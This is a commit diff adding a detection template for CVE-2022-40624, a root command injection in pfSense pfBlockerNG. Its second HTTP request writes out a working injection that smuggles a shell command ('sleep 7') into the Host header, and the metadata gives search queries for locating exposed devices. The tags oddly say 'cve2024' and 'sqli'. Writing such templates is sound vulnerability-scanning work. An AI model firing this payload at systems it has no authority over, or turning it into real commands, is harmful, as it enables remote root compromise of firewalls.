Create CVE-2022-40624.yaml

http/cves/2022/CVE-2022-40624.yaml

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+id: CVE-2022-40624
+
+info:
+  name: pfSense pfBlockerNG - OS Command Injection
+  author: ritikchaddha
+  severity: critical
+  description: |
+    pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header.
+  impact: |
+    Allows remote attackers to execute arbitrary code on the affected system
+  remediation: |
+    Update to the latest version of pfSense pfBlockerNG to mitigate CVE-2022-40624
+  reference:
+    - https://github.com/dhammon/pfBlockerNg-CVE-2022-40624
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-40624
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-40624
+    cwe-id: CWE-78
+    epss-score: 0.00608
+    epss-percentile: 0.78334
+    cpe: cpe:2.3:a:pfsense:pfblockerng:*:*:*:*:*:*:*:*
+  metadata:
+    vendor: pfsense
+    product: pfblockerng
+    shodan-query: "pfBlockerNG"
+    fofa-query: "pfBlockerNG"
+  tags: cve,cve2024,pfsense,pfblockerng,rce,sqli,netgate
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET /pfblockerng/www/index.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body, "GIF")'
+          - 'contains(content_type, "image/gif")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |+
+        @timeout: 20s
+        GET /pfblockerng/www/index.php HTTP/1.1
+        Host: {{Hostname}}' *; sleep 7; '
+
+    unsafe: true
+    matchers:
+      - type: dsl
+        dsl:
+          - duration>=7